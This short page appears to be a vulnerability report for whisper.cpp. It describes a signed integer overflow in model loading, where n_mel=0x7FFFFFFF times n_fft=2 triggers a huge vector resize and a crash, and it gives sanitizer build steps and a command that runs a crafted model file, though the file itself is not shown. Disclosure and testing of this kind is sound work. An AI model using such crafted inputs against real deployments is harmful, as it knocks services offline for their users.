Views
No views yet
n_mel=0x7FFFFFFF * n_fft=2 overflows int32 → massive vector::resize() → crash.1git clone https://github.com/ggml-org/whisper.cpp && cd whisper.cpp
2mkdir build-asan && cd build-asan
3cmake .. -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \
4 -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \
5 -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined"
6make -j$(nproc)
7./bin/whisper-cli -m ../poc_mel_overflow.bin -f /dev/nullruntime error: signed integer overflow: 2147483647 * 2